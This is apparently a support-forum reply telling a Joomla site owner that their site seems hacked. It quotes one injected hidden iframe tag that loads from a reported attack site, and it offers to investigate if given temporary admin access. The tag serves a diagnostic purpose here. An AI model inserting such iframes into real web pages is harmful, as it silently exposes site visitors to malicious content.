Thank you
I suspect your Joomla installation may be hacked. The 3 squares are iframes been placed in your Joomla output and look something like the following...
<iframe width="10" scrolling="auto" height="10" frameborder="no" align="middle" src="http://qeolxk.sellClassics.com/flastringa.cgi?8">
Be carefull opening the URL in this code as it links to a 'Reported Attack Site'.
If you wish you can send temporary administration access to your Joomla installation to info@joomla51.com and we will try and locate the source of this code.
Ciarán